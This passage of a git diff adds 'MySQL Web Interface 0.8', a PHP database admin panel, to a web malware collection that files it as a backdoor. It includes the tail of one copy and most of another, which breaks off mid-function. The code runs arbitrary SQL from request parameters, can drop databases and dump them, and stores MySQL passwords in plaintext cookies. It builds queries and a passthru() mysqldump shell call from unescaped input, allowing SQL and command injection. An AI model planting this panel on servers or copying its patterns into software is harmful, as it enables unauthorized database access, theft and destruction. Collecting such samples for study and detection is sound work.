+<tr> +<td><input type=radio name=type value="MEDIUMTEXT" <? if( $type == +"mediumtext" ) echo "checked";?>>MEDIUMTEXT (0 ~ 16777215)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="LONGTEXT" <? if( $type == +"longtext" +) echo "checked";?>>LONGTEXT (0 ~ 4294967295)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TINYBLOB" <? if( $type == +"tinyblob" +) echo "checked";?>>TINYBLOB (0 ~ 255)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="BLOB" <? if( $type == "blob" ) +echo +"checked";?>>BLOB (0 ~ 65535)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMBLOB" <? if( $type == +"mediumblob" ) echo "checked";?>>MEDIUMBLOB (0 ~ 16777215)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="LONGBLOB" <? if( $type == +"longblob" +) echo "checked";?>>LONGBLOB (0 ~ 4294967295)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="ENUM" <? if( $type == "enum" ) +echo +"checked";?>>ENUM</td> +<td colspan=5><center>value list</center></td> +</tr> +<tr> +<td><input type=radio name=type value="SET" <? if( $type == "set" ) +echo +"checked";?>>SET</td> +<td colspan=5><center>value list</center></td> +</tr> + +</table> +<table> +<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value +list (ex: 'apple', 'orange', 'banana') </th></tr> +<tr> +<td align=center><input type=text size=4 name=M <? if( $M != "" ) echo +"value=$M";?>></td> +<td align=center><input type=text size=4 name=D <? if( $D != "" ) echo +"value=$D";?>></td> +<td align=center><input type=checkbox name=unsigned value="UNSIGNED" <? +if( +strpos( $fieldtype, "unsigned" ) ) echo "checked";?>></td> +<td align=center><input type=checkbox name=zerofill value="ZEROFILL" <? +if( +strpos( $fieldtype, "zerofill" ) ) echo "checked";?>></td> +<td align=center><input type=checkbox name=binary value="BINARY" <? if( +strpos( $fieldtype, "binary" ) ) echo "checked";?>></td> +<td align=center><input type=text size=60 name=valuelist <? if( +$valuelist +!= "" ) echo "value=\"$valuelist\"";?>></td> +</tr> +</table> + + +<h3>Flags</h3> +<table> +<tr><th>not null</th><th>default value</th><th>auto +increment</th><th>primary key</th></tr> +<tr> +<td align=center><input type=checkbox name=not_null value="NOT NULL" <? +if( +$fieldnull != "YES" ) echo "checked";?>></td> +<td align=center><input type=text name=default_value <? if( +$fielddefault != +"" ) echo "value=$fielddefault";?>></td> +<td align=center><input type=checkbox name=auto_increment +value="AUTO_INCREMENT" <? if( $fieldextra == "auto_increment" ) echo +"checked";?>></td> +<td align=center><input type=checkbox name=primary_key value="PRIMARY +KEY" +<? if( $fieldkey == "PRI" ) echo "checked";?>></td> +</tr> +</table> + +<p> + +<? + if( $cmd == "add" ) + echo "<input type=submit value='Add Field'>\n"; + else if( $cmd == "edit" ) + echo "<input type=submit value='Edit Field'>\n"; + echo "<input type=button value=Cancel onClick='history.back()'>\n"; + echo "</form>\n"; +} + +function manageField_submit( $cmd ) { + global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, +$PHP_SELF, $queryStr, $errMsg, + $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, +$auto_increment, $primary_key, $valuelist; + + if( $cmd == "add" ) + $queryStr = "ALTER TABLE $tablename ADD $name "; + else if( $cmd == "edit" ) + $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name "; + + if( $M != "" ) + if( $D != "" ) + $queryStr .= "$type($M,$D) "; + else + $queryStr .= "$type($M) "; + else if( $valuelist != "" ) { + $valuelist = stripslashes( $valuelist ); + $queryStr .= "$type($valuelist) "; + } else + $queryStr .= "$type "; + + $queryStr .= "$unsigned $zerofill $binary "; + + if( $default_value != "" ) + $queryStr .= "DEFAULT '$default_value' "; + + $queryStr .= "$not_null $auto_increment"; + + mysql_select_db( $dbname, $mysqlHandle ); + mysql_query( $queryStr, $mysqlHandle ); + $errMsg = mysql_error(); + + // key change + $keyChange = false; + $result = mysql_query( "SHOW KEYS FROM $tablename" ); + $primary = ""; + while( $row = mysql_fetch_array($result) ) + if( $row["Key_name"] == "PRIMARY" ) { + if( $row[Column_name] == $name ) + $keyChange = true; + else + $primary .= ", $row[Column_name]"; + } + if( $primary_key == "PRIMARY KEY" ) { + $primary .= ", $name"; + $keyChange = !$keyChange; + } + $primary = substr( $primary, 2 ); + if( $keyChange == true ) { + $q = "ALTER TABLE $tablename DROP PRIMARY KEY"; + mysql_query( $q ); + $queryStr .= "<br>\n" . $q; + $errMsg .= "<br>\n" . mysql_error(); + $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )"; + mysql_query( $q ); + $queryStr .= "<br>\n" . $q; + $errMsg .= "<br>\n" . mysql_error(); + } + + viewSchema(); +} + +function dropField() { + global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, +$queryStr, +$errMsg; + + $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname"; + mysql_select_db( $dbname, $mysqlHandle ); + mysql_query( $queryStr , $mysqlHandle ); + $errMsg = mysql_error(); + + viewSchema(); +} + +function viewData( $queryStr ) { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, +$rowperpage, $orderby; + + echo "<h1>Data in Table</h1>\n"; + if( $tablename != "" ) + echo "<p class=location>$dbname &gt; $tablename</p>\n"; + else + echo "<p class=location>$dbname</p>\n"; + + $queryStr = stripslashes( $queryStr ); + if( $queryStr == "" ) { + $queryStr = "SELECT * FROM $tablename"; + if( $orderby != "" ) + $queryStr .= " ORDER BY $orderby"; + echo "<a +href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add +Data</a> | \n"; + echo "<a +href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n"; + } + + $pResult = mysql_db_query( $dbname, $queryStr ); + $errMsg = mysql_error(); + + $GLOBALS[queryStr] = $queryStr; + + if( $pResult == false ) { + echoQueryResult(); + return; + } + if( $pResult == 1 ) { + $errMsg = "Success"; + echoQueryResult(); + return; + } + + echo "<hr>\n"; + + $row = mysql_num_rows( $pResult ); + $col = mysql_num_fields( $pResult ); + + if( $row == 0 ) { + echo "No Data Exist!"; + return; + } + + if( $rowperpage == "" ) $rowperpage = 20; + if( $page == "" ) $page = 0; + else $page--; + mysql_data_seek( $pResult, $page * $rowperpage ); + + echo "<table cellspacing=1 cellpadding=2>\n"; + echo "<tr>\n"; + for( $i = 0; $i < $col; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + echo "<th>"; + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n"; + echo "</th>\n"; + } + echo "<th colspan=2>Action</th>\n"; + echo "</tr>\n"; + + for( $i = 0; $i < $rowperpage; $i++ ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + echo "<tr>\n"; + $key = ""; + for( $j = 0; $j < $col; $j++ ) { + $data = $rowArray[$j]; + + $field = mysql_fetch_field( $pResult, $j ); + if( $field->primary_key == 1 ) + $key .= "&" . $field->name . "=" . $data; + + if( strlen( $data ) > 20 ) + $data = substr( $data, 0, 20 ) . "..."; + $data = htmlspecialchars( $data ); + echo "<td>\n"; + echo "$data\n"; + echo "</td>\n"; + } + + if( $key == "" ) + echo "<td colspan=2>no Key</td>\n"; + else { + echo "<td><a +href='$PHP_SELF?action=editData&dbname=$dbname&tablename=$tablename$key'>Edit</a></td>\n"; + echo "<td><a +href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablename$key' +onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n"; + } + echo "</tr>\n"; + } + echo "</table>\n"; + + echo "<font size=2>\n"; + echo "<form +action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename' +method=post>\n"; + echo "<font color=green>\n"; + echo ($page+1)."/".(int)($row/$rowperpage+1)." page"; + echo "</font>\n"; + echo " | "; + if( $page > 0 ) { + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page); + if( $orderby != "" ) + echo "&orderby=$orderby"; + echo "'>Prev</a>\n"; + } else + echo "Prev"; + echo " | "; + if( $page < ($row/$rowperpage)-1 ) { + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2); + if( $orderby != "" ) + echo "&orderby=$orderby"; + echo "'>Next</a>\n"; + } else + echo "Next"; + echo " | "; + if( $row > $rowperpage ) { + echo "<input type=text size=4 name=page>\n"; + echo "<input type=submit value='Go'>\n"; + } + echo "</form>\n"; + echo "</font>\n"; +} + +function manageData( $cmd ) { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF; + + if( $cmd == "add" ) + echo "<h1>Add Data</h1>\n"; + else if( $cmd == "edit" ) { + echo "<h1>Edit Data</h1>\n"; + $pResult = mysql_list_fields( $dbname, $tablename ); + $num = mysql_num_fields( $pResult ); + + $key = ""; + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + if( $field->primary_key == 1 ) + if( $field->numeric == 1 ) + $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; + else + $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; + } + $key = substr( $key, 0, strlen($key)-4 ); + + mysql_select_db( $dbname, $mysqlHandle ); + $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE +$key", $mysqlHandle ); + $data = mysql_fetch_array( $pResult ); + } + + echo "<p class=location>$dbname &gt; $tablename</p>\n"; + + echo "<form action='$PHP_SELF' method=post>\n"; + if( $cmd == "add" ) + echo "<input type=hidden name=action value=addData_submit>\n"; + else if( $cmd == "edit" ) + echo "<input type=hidden name=action value=editData_submit>\n"; + echo "<input type=hidden name=dbname value=$dbname>\n"; + echo "<input type=hidden name=tablename value=$tablename>\n"; + echo "<table cellspacing=1 cellpadding=2>\n"; + echo "<tr>\n"; + echo "<th>Name</th>\n"; + echo "<th>Type</th>\n"; + echo "<th>Function</th>\n"; + echo "<th>Data</th>\n"; + echo "</tr>\n"; + + $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); + $num = mysql_num_rows( $pResult ); + + $pResultLen = mysql_list_fields( $dbname, $tablename ); + + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + $fieldname = $field["Field"]; + $fieldtype = $field["Type"]; + $len = mysql_field_len( $pResultLen, $i ); + + echo "<tr>"; + echo "<td>$fieldname</td>"; + echo "<td>".$field["Type"]."</td>"; + echo "<td>\n"; + echo "<select name=${fieldname}_function>\n"; + echo "<option>\n"; + echo "<option>ASCII\n"; + echo "<option>CHAR\n"; + echo "<option>SOUNDEX\n"; + echo "<option>CURDATE\n"; + echo "<option>CURTIME\n"; + echo "<option>FROM_DAYS\n"; + echo "<option>FROM_UNIXTIME\n"; + echo "<option>NOW\n"; + echo "<option>PASSWORD\n"; + echo "<option>PERIOD_ADD\n"; + echo "<option>PERIOD_DIFF\n"; + echo "<option>TO_DAYS\n"; + echo "<option>USER\n"; + echo "<option>WEEKDAY\n"; + echo "<option>RAND\n"; + echo "</select>\n"; + echo "</td>\n"; + $value = htmlspecialchars($data[$i]); + if( $cmd == "add" ) { + $type = strtok( $fieldtype, " (,)\n" ); + if( $type == "enum" || $type == "set" ) { + echo "<td>\n"; + if( $type == "enum" ) + echo "<select name=$fieldname>\n"; + else if( $type == "set" ) + echo "<select name=$fieldname size=4 multiple>\n"; + echo strtok( "'" ); + while( $str = strtok( "'" ) ) { + echo "<option>$str\n"; + strtok( "'" ); + } + echo "</select>\n"; + echo "</td>\n"; + } else { + if( $len < 40 ) + echo "<td><input type=text size=40 maxlength=$len +name=$fieldname></td>\n"; + else + echo "<td><textarea cols=40 rows=3 maxlength=$len +name=$fieldname></textarea>\n"; + } + } else if( $cmd == "edit" ) { + $type = strtok( $fieldtype, " (,)\n" ); + if( $type == "enum" || $type == "set" ) { + echo "<td>\n"; + if( $type == "enum" ) + echo "<select name=$fieldname>\n"; + else if( $type == "set" ) + echo "<select name=$fieldname size=4 multiple>\n"; + echo strtok( "'" ); + while( $str = strtok( "'" ) ) { + if( $value == $str ) + echo "<option selected>$str\n"; + else + echo "<option>$str\n"; + strtok( "'" ); + } + echo "</select>\n"; + echo "</td>\n"; + } else { + if( $len < 40 ) + echo "<td><input type=text size=40 maxlength=$len name=$fieldname +value=\"$value\"></td>\n"; + else + echo "<td><textarea cols=40 rows=3 maxlength=$len +name=$fieldname>$value</textarea>\n"; + } + } + echo "</tr>"; + } + echo "</table><p>\n"; + if( $cmd == "add" ) + echo "<input type=submit value='Add Data'>\n"; + else if( $cmd == "edit" ) + echo "<input type=submit value='Edit Data'>\n"; + echo "<input type=button value='Cancel' onClick='history.back()'>\n"; + echo "</form>\n"; +} + +function manageData_submit( $cmd ) { + global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, +$queryStr, +$errMsg; + + $pResult = mysql_list_fields( $dbname, $tablename ); + $num = mysql_num_fields( $pResult ); + + mysql_select_db( $dbname, $mysqlHandle ); + if( $cmd == "add" ) + $queryStr = "INSERT INTO $tablename VALUES ("; + else if( $cmd == "edit" ) + $queryStr = "REPLACE INTO $tablename VALUES ("; + for( $i = 0; $i < $num-1; $i++ ) { + $field = mysql_fetch_field( $pResult ); + $func = $GLOBALS[$field->name."_function"]; + if( $func != "" ) + $queryStr .= " $func("; + if( $field->numeric == 1 ) { + $queryStr .= $GLOBALS[$field->name]; + if( $func != "" ) + $queryStr .= "),"; + else + $queryStr .= ","; + } else { + $queryStr .= "'" . $GLOBALS[$field->name]; + if( $func != "" ) + $queryStr .= "'),"; + else + $queryStr .= "',"; + } + } + $field = mysql_fetch_field( $pResult ); + if( $field->numeric == 1 ) + $queryStr .= $GLOBALS[$field->name] . ")"; + else + $queryStr .= "'" . $GLOBALS[$field->name] . "')"; + + mysql_query( $queryStr , $mysqlHandle ); + $errMsg = mysql_error(); + + viewData( "" ); +} + +function deleteData() { + global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, +$queryStr, +$errMsg; + + $pResult = mysql_list_fields( $dbname, $tablename ); + $num = mysql_num_fields( $pResult ); + + $key = ""; + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + if( $field->primary_key == 1 ) + if( $field->numeric == 1 ) + $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; + else + $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; + } + $key = substr( $key, 0, strlen($key)-4 ); + + mysql_select_db( $dbname, $mysqlHandle ); + $queryStr = "DELETE FROM $tablename WHERE $key"; + mysql_query( $queryStr, $mysqlHandle ); + $errMsg = mysql_error(); + + viewData( "" ); +} + +function dump() { + global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename; + + if( $action == "dumpTable" ) + $filename = $tablename; + else + $filename = $dbname; + + header("Content-disposition: filename=$filename.sql"); + header("Content-type: application/octetstream"); + header("Pragma: no-cache"); + header("Expires: 0"); + + $pResult = mysql_query( "show variables" ); + while( 1 ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + if( $rowArray[0] == "basedir" ) + $bindir = $rowArray[1]."bin/"; + } + + passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD +$dbname +$tablename" ); +} + +function utils() { + global $PHP_SELF, $command; + echo "<h1>Utilities</h1>\n"; + if( $command == "" || substr( $command, 0, 5 ) == "flush" ) { + echo "<hr>\n"; + echo "Show\n"; + echo "<ul>\n"; + echo "<li><a +href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n"; + echo "<li><a +href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n"; + echo "<li><a +href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n"; + echo "</ul>\n"; + echo "Flush\n"; + echo "<ul>\n"; + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n"; + if( $command == "flush_hosts" ) { + if( mysql_query( "Flush hosts" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n"; + if( $command == "flush_logs" ) { + if( mysql_query( "Flush logs" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n"; + if( $command == "flush_privileges" ) { + if( mysql_query( "Flush privileges" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n"; + if( $command == "flush_tables" ) { + if( mysql_query( "Flush tables" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n"; + if( $command == "flush_status" ) { + if( mysql_query( "Flush status" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "</ul>\n"; + } else { + $queryStr = ereg_replace( "_", " ", $command ); + $pResult = mysql_query( $queryStr ); + if( $pResult == false ) { + echo "Fail"; + return; + } + $col = mysql_num_fields( $pResult ); + + echo "<p class=location>$queryStr</p>\n"; + echo "<hr>\n"; + + echo "<table cellspacing=1 cellpadding=2 border=0>\n"; + echo "<tr>\n"; + for( $i = 0; $i < $col; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + echo "<th>".$field->name."</th>\n"; + } + echo "</tr>\n"; + + while( 1 ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + echo "<tr>\n"; + for( $j = 0; $j < $col; $j++ ) + echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n"; + echo "</tr>\n"; + } + echo "</table>\n"; + } +} + +function header_html() { + global $PHP_SELF; + +?> +<html> +<head> +<title>MySQL Web Interface</title> +<style type="text/css"> +<!-- +p.location { + color: #11bb33; + font-size: small; +} +h1 { + color: #A4A260; +} +th { + background-color: #BDBE42; + color: #FFFFFF; + font-size: x-small; +} +td { + background-color: #DEDFA5; + font-size: x-small; +} +form { + margin-top: 0; + margin-bottom: 0; +} +a { + text-decoration:none; + color: #848200; + font-size:x-small; +} +a:link { +} +a:hover { + background-color:#EEEFD5; + color:#646200; + text-decoration:none +} +//--> +</style> +</head> +<body> +<? +} + +function footer_html() { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME; + + echo "<hr>\n"; + echo "<font size=2>\n"; + echo "<font color=blue>[$USERNAME]</font> - \n"; + + echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | \n"; + if( $tablename != "" ) + echo "<a +href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table +List</a> | "; + echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n"; + echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n"; + echo "</font>\n"; + echo "</body>\n"; + echo "</html>\n"; +} + +//------------------------------------------------------ MAIN + +if( $action == "logon" || $action == "" || $action == "logout" ) + logon(); +else if( $action == "logon_submit" ) + logon_submit(); +else if( $action == "dumpTable" || $action == "dumpDB" ) { + while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { + if( $var == "mysql_web_admin_username" ) $USERNAME = $value; + if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; + } + $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); + dump(); +} else { + while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { + if( $var == "mysql_web_admin_username" ) $USERNAME = $value; + if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; + } + echo "<!--"; + $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); + echo "-->"; + + if( $mysqlHandle == false ) { + echo "<html>\n"; + echo "<head>\n"; + echo "<title>MySQL Web Interface</title>\n"; + echo "</head>\n"; + echo "<body>\n"; + echo "<table width=100% height=100%><tr><td><center>\n"; + echo "<h1>Wrong Password!</h1>\n"; + echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n"; + echo "</center></td></tr></table>\n"; + echo "</body>\n"; + echo "</html>\n"; + } else { + header_html(); + if( $action == "listDBs" ) + listDatabases(); + else if( $action == "createDB" ) + createDatabase(); + else if( $action == "dropDB" ) + dropDatabase(); + else if( $action == "listTables" ) + listTables(); + else if( $action == "createTable" ) + createTable(); + else if( $action == "dropTable" ) + dropTable(); + else if( $action == "viewSchema" ) + viewSchema(); + else if( $action == "query" ) + viewData( $queryStr ); + else if( $action == "addField" ) + manageField( "add" ); + else if( $action == "addField_submit" ) + manageField_submit( "add" ); + else if( $action == "editField" ) + manageField( "edit" ); + else if( $action == "editField_submit" ) + manageField_submit( "edit" ); + else if( $action == "dropField" ) + dropField(); + else if( $action == "viewData" ) + viewData( "" ); + else if( $action == "addData" ) + manageData( "add" ); + else if( $action == "addData_submit" ) + manageData_submit( "add" ); + else if( $action == "editData" ) + manageData( "edit" ); + else if( $action == "editData_submit" ) + manageData_submit( "edit" ); + else if( $action == "deleteData" ) + deleteData(); + else if( $action == "utils" ) + utils(); + + mysql_close( $mysqlHandle); + footer_html(); + } +} + +?> diff --git a/web-malware-collection-master/Backdoors/PHP/MySQL Web Interface Version 0.8.txt b/web-malware-collection-master/Backdoors/PHP/MySQL Web Interface Version 0.8.txt new file mode 100755 index 0000000..9f37027 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/MySQL Web Interface Version 0.8.txt @@ -0,0 +1,1302 @@ +<? +/* +* MySQL Web Interface Version 0.8 +* ------------------------------- +* Developed By SooMin Kim (smkim@popeye.snu.ac.kr) +* License : GNU Public License (GPL) +* Homepage : http://popeye.snu.ac.kr/~smkim/mysql +*/ + +$HOSTNAME = "localhost"; + +function logon() { + global $PHP_SELF; + + setcookie( "mysql_web_admin_username" ); + setcookie( "mysql_web_admin_password" ); + echo "<html>\n"; + echo "<head>\n"; + echo "<title>MySQL Web Interface</title>\n"; + echo "</head>\n"; + echo "<body>\n"; + echo "<table width=100% height=100%><tr><td><center>\n"; + echo "<table cellpadding=2><tr><td bgcolor=#a4a260><center>\n"; + echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n"; + echo "<h1>MySQL Web Interface</h1>\n"; + echo "<form action='$PHP_SELF'>\n"; + echo "<input type=hidden name=action value=logon_submit>\n"; + echo "<table cellpadding=5 cellspacing=1>\n"; + echo "<tr><td>Username </td><td> <input type=text +name=username></td></tr>\n"; + echo "<tr><td>Password </td><td> <input type=password +name=password></td></tr>\n"; + echo "</table><p>\n"; + echo "<input type=submit value='Enter'>\n"; + echo "<input type=reset value='Clear'><br>\n"; + echo "</form>\n"; + echo "</center></td></tr></table>\n"; + echo "</center></td></tr></table>\n"; + echo "<p><hr width=300>\n"; + echo "<font size=2>\n"; + echo "Copyleft &copy; since 1999,\n"; + echo "<a href='mailto:smkim76@icqmail.com'>SooMin Kim</a><br>\n"; + echo "<a href='http://popeye.snu.ac.kr/~smkim/mysql'>Hompage<a> is +available<br>"; + echo "</font>\n"; + echo "</center></td></tr></table>\n"; + echo "</body>\n"; + echo "</html>\n"; +} + +function logon_submit() { + global $username, $password, $PHP_SELF; + + setcookie( "mysql_web_admin_username", $username ); + setcookie( "mysql_web_admin_password", $password ); + echo "<html>"; + echo "<head>"; + echo "<META HTTP-EQUIV=Refresh CONTENT='0; +URL=$PHP_SELF?action=listDBs'>"; + echo "</head>"; + echo "</html>"; +} + +function echoQueryResult() { + global $queryStr, $errMsg; + + if( $errMsg == "" ) $errMsg = "Success"; + if( $queryStr != "" ) { + echo "<table cellpadding=5>\n"; + echo "<tr><td>Query</td><td>$queryStr</td></tr>\n"; + echo "<tr><td>Result</td><td>$errMsg</td></tr>\n"; + echo "</table><p>\n"; + } +} + +function listDatabases() { + global $mysqlHandle, $PHP_SELF; + + echo "<h1>Database List</h1>\n"; + + echo "<form action='$PHP_SELF'>\n"; + echo "<input type=hidden name=action value=createDB>\n"; + echo "<input type=text name=dbname>\n"; + echo "<input type=submit value='Create Database'>\n"; + echo "</form>\n"; + echo "<hr>\n"; + + echo "<table cellspacing=1 cellpadding=5>\n"; + + $pDB = mysql_list_dbs( $mysqlHandle ); + $num = mysql_num_rows( $pDB ); + for( $i = 0; $i < $num; $i++ ) { + $dbname = mysql_dbname( $pDB, $i ); + echo "<tr>\n"; + echo "<td>$dbname</td>\n"; + echo "<td><a +href='$PHP_SELF?action=listTables&dbname=$dbname'>Table</a></td>\n"; + echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' +onClick=\"return confirm('Drop Database +\'$dbname\'?')\">Drop</a></td>\n"; + echo "<td><a +href='$PHP_SELF?action=dumpDB&dbname=$dbname'>Dump</a></td>\n"; + echo "</tr>\n"; + } + echo "</table>\n"; +} + +function createDatabase() { + global $mysqlHandle, $dbname, $PHP_SELF; + + mysql_create_db( $dbname, $mysqlHandle ); + listDatabases(); +} + +function dropDatabase() { + global $mysqlHandle, $dbname, $PHP_SELF; + + mysql_drop_db( $dbname, $mysqlHandle ); + listDatabases(); +} + +function listTables() { + global $mysqlHandle, $dbname, $PHP_SELF; + + echo "<h1>Table List</h1>\n"; + echo "<p class=location>$dbname</p>\n"; + echoQueryResult(); + echo "<form action='$PHP_SELF'>\n"; + echo "<input type=hidden name=action value=createTable>\n"; + echo "<input type=hidden name=dbname value=$dbname>\n"; + echo "<input type=text name=tablename>\n"; + echo "<input type=submit value='Create Table'>\n"; + echo "</form>\n"; + echo "<form action='$PHP_SELF'>\n"; + echo "<input type=hidden name=action value=query>\n"; + echo "<input type=hidden name=dbname value=$dbname>\n"; + echo "<input type=text size=40 name=queryStr>\n"; + //echo "<textarea cols=30 rows=3 name=queryStr></textarea><br>"; + echo "<input type=submit value='Query'>\n"; + echo "</form>\n"; + echo "<hr>\n"; + + $pTable = mysql_list_tables( $dbname ); + + if( $pTable == 0 ) { + $msg = mysql_error(); + echo "<h3>Error : $msg</h3><p>\n"; + return; + } + $num = mysql_num_rows( $pTable ); + + echo "<table cellspacing=1 cellpadding=5>\n"; + + for( $i = 0; $i < $num; $i++ ) { + $tablename = mysql_tablename( $pTable, $i ); + + echo "<tr>\n"; + echo "<td>\n"; + echo "$tablename\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a +href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a +href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' +onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a +href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>\n"; + echo "</td>\n"; + echo "</tr>\n"; + } + + echo "</table>"; +} + +function createTable() { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, +$errMsg; + + $queryStr = "CREATE TABLE $tablename ( no INT )"; + mysql_select_db( $dbname, $mysqlHandle ); + mysql_query( $queryStr, $mysqlHandle ); + $errMsg = mysql_error(); + + listTables(); +} + +function dropTable() { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, +$errMsg; + + $queryStr = "DROP TABLE $tablename"; + mysql_select_db( $dbname, $mysqlHandle ); + mysql_query( $queryStr, $mysqlHandle ); + $errMsg = mysql_error(); + + listTables(); +} + +function viewSchema() { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, +$errMsg; + + echo "<h1>Table Schema</h1>\n"; + echo "<p class=location>$dbname &gt; $tablename</p>\n"; + + echoQueryResult(); + + echo "<a +href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add +Field</a> | \n"; + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View +Data</a>\n"; + echo "<hr>\n"; + + $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); + $num = mysql_num_rows( $pResult ); + + echo "<table cellspacing=1 cellpadding=5>\n"; + echo "<tr>\n"; + echo "<th>Field</th>\n"; + echo "<th>Type</th>\n"; + echo "<th>Null</th>\n"; + echo "<th>Key</th>\n"; + echo "<th>Default</th>\n"; + echo "<th>Extra</th>\n"; + echo "<th colspan=2>Action</th>\n"; + echo "</tr>\n"; + + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + echo "<tr>\n"; + echo "<td>".$field["Field"]."</td>\n"; + echo "<td>".$field["Type"]."</td>\n"; + echo "<td>".$field["Null"]."</td>\n"; + echo "<td>".$field["Key"]."</td>\n"; + echo 